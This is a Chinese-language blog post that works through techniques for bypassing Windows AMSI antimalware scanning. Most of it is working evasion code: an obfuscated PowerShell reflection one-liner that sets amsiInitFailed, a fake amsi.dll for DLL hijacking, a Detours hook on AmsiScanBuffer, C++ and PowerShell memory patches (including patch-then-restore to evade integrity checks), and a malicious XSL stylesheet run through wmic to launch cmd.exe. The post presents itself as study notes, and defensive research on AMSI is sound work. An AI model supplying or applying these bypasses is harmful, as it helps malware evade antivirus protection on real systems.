ASMI学习-总结

Microsoft 开发了 AMSI(反恶意软件扫描接口)作为防御常见恶意软件执行和保护最终用户的方法。默认情况下,Windows Defender 与 AMSI API 交互以在执行期间使用 Windows Script Host 技术扫描 PowerShell 脚本、VBA 宏、JavaScript 和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI 的支持,因此组织不限于使用 windows Defender。

asmi工作原理

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。

AmsiScanBuffer()
AmsiScanString()

绕过手段1-powershell降级

默认我新装的win10 不存在powershell -version 2
当然如果存在可以如下利用

PS C:\Windows\system32> powershell -version 3 -command whoami
desktop-pdj677p\nolan
PS C:\Windows\system32>

绕过手段2-编码绕过-关闭系列

按照这篇文章 说实话 有手就行系列
https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ
我的代码如下 今天刚测试能过

$a="amsiInitFaile"
$a=$a+[string]([char]100)
$b="System.Management.Automation.AmsiUtil"
$b=$b+[string]([char]115)
[Ref].Assembly.GetType($b).GetField($a,'NonPublic,Static').SetValue($null,$true)

image

绕过手段3-dll劫持

这里原理就是指定asmidll 让这个dll伪造以下两个检查函数
AmsiScanBuffer()
AmsiScanString()

#include "pch.h"
#include <iostream>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {


    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
LPCWSTR appName = NULL;
typedef struct HAMSICONTEXT {
    DWORD       Signature;            // "AMSI" or 0x49534D41
    PWCHAR      AppName;           // set by AmsiInitialize
    DWORD       Antimalware;       // set by AmsiInitialize
    DWORD       SessionCount;      // increased by AmsiOpenSession
} HAMSICONTEXT;
typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN,
    AMSI_RESULT_NOT_DETECTED,
    AMSI_RESULT_BLOCKED_BY_ADMIN_START,
    AMSI_RESULT_BLOCKED_BY_ADMIN_END,
    AMSI_RESULT_DETECTED
} AMSI_RESULT;

typedef struct HAMSISESSION {
    DWORD test;
} HAMSISESSION;

typedef struct r {
    DWORD r;
};

void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT* amsiContext) {};
void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession) {};
void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession) {};
void AmsiResultIsMalware(r) {};
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};
void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};
void AmsiUninitialize(HAMSICONTEXT amsiContext) {};

编译成功如下
image
dll劫持优先查找本目录dll
image

绕过手段4-hook绕过

参考x64sec
进程注入.exe

#include "pch.h"
#include <Windows.h>
#include "detours.h"
#include <amsi.h>
#include <iostream>
#pragma comment(lib,"C:\\Users\\admin\\source\\repos\\MsMpEng\\detours_x64.lib")
#pragma comment(lib, "amsi.lib")

#define SAFE "SafeString"

static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;

//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {

    std::cout << "[+] AmsiScanBuffer called" << std::endl;
    std::cout << "[+] Buffer " << buffer << std::endl;
    std::cout << "[+] Buffer Length " << length << std::endl;
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  dwReason,
    LPVOID lpReserved
)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }

    if (dwReason == DLL_PROCESS_ATTACH) {
        AllocConsole();
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);

        DetourRestoreAfterWith();
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());

        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();

    }
    else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}

image

绕过方式5-内存补丁绕过

参考L.N师傅Bypass AMSI的前世今生(5) - 内存补丁
相关api调用流程

AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开
session AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭
session AmsiUninitialize – 删除AMSI API

这里L.N师傅说
我们还是以powershell为例,当我们打开powershell.exe,powershell.exe会加载
System.Management.Automation.dll,此dll会调用amsi.dll,因此我们只要分析清楚这2个dll里面的函
数调用和判断逻辑,就能在合适的地方修改判断逻辑,使得程序判断结果为我们指定的结果。
我们也跟进去看
image
从这里应该可以看出 其上System.Management.Automation.dll不是amsi真正的功能所在,只起一个获取返回结果的作用
进入AmsiUtils.ScanContent发现其实有三个点可以让amsiInitFailed = true;(下图没截完整)
image

// System.Management.Automation.Utils
internal static bool Succeeded(int hresult)
{
	return hresult >= 0;
}

接下来我们只需要伪造返回hresult小于0即可
而这个值是scanner扫描的结果如下
image
我们需要修改amsi内存里面AmsiScanBuffer或者AmsiOpenSession的返回值小于0
最后代码如下

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <iostream>

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pZwWriteVirtualMemory)(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);

typedef HMODULE (NTAPI* LoadLibrars)(
	 LPCSTR lpLibFileName
);
int main() {

	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	char str1[12] = "lld.i";
	char str11[12] = "sma";
	_strrev(str1);
	_strrev(str11);
	
	char str2[20] = "reffuBna";
	char str22[20] = "cSismA";
	strcat_s(str11, str1);
	_strrev(str2);
	_strrev(str22);
	strcat_s(str22, str2);
	char str3[30] = "exe.llehsrewop";
	char str[30] = " -NoExit dir";
	_strrev(str3);
	strcat_s(str3, str);


	std::cout << "[+] Start to att AMbypass " << std::endl;
	CreateProcessA(NULL, (LPSTR)str3, NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
	HMODULE hModule1 = LoadLibraryW(L"kernel32.dll");

	LoadLibrars LoadLibraryA = (LoadLibrars)GetProcAddress(hModule1, "LoadLibraryA");
	//HMODULE Springam = LoadLibraryA(str11);
	HMODULE hModule = LoadLibraryA(_strrev(_strrev(str11)));
	LPVOID PSpringbuffer = GetProcAddress(hModule, str22);

	

	DWORD got;
	char server = 0xc3;

	VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, PAGE_EXECUTE_READWRITE, &got);
	WriteProcessMemory(pi.hProcess, (LPVOID)PSpringbuffer, &server, sizeof(char), NULL);
	VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, got, NULL);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	//FreeLibrary(Springam);
	return 0;






	

}

image
当然后面L.N师傅还给出了两方面的对抗手段

内存补丁对抗手段1-偏移量检查对抗

第一种检测手法,是找到函数的偏移,然后判断便宜处的二进制是否被修改,通过上面的代码我们也知
道,我们直接在函数开始地址处打补丁,我们可以增加偏移量,让补丁出现在函数种的其他位置,代码
如下:
image

内存补丁对抗手段2-完整性内存扫描缺陷对抗

第二种因为是完整性检测,我们修改代码后就能被扫出来,但是第二种侦测方法有个缺陷,就是不可能
一直扫描内存,要不使用按频率扫描,要不使用触发扫描,触发扫描比较常见,例如当侦测到
AmsiOpenSession API被调用,就触发扫描。我们对抗方法是打补丁后执行恶意代码,执行完再还原内
存,这样内存修改只是一瞬间,代码如下:

$p=@" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Patch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x75; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); }public static void UnPatch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x74; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } }"@Add-Type $p [Program]::Patch() [Program]::UnPatch()

image
这里是LN师傅发现的巧妙之处
image

绕过手段6-wmic调用bypass

参考
wmic执行的时候asmi主要是对一些关键字进行crc32校验
如下

if ( v16 == 0x788C9917 || v16 == 0x96B23E8A || v16 == 0xB8DA804E || v16 == 0xC0B29B3D || v16 == 0xD16F4088 || v16 == 0xD61D2EA7 || (v17 = 0, v16 == 0xEF726924) ) if ( v26 == 0x46B9D093 || v26 == 0xF837EFC3 )

这里SpectreOps 团队研究发现
image
这里我这个都没检测发现

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
	]]> </ms:script>
</stylesheet>

wmic process list /FORMAT:evil.xsl
这里还有一点需要关注就是当远程调用wmic时 默认扫描
image

总结

AMSI手段当然不止这些,今天就先学到这里

PS:慢就是快,少就是多

posted @ 2021-12-09 15:51  yourse1f  阅读(869)  评论(0编辑  收藏  举报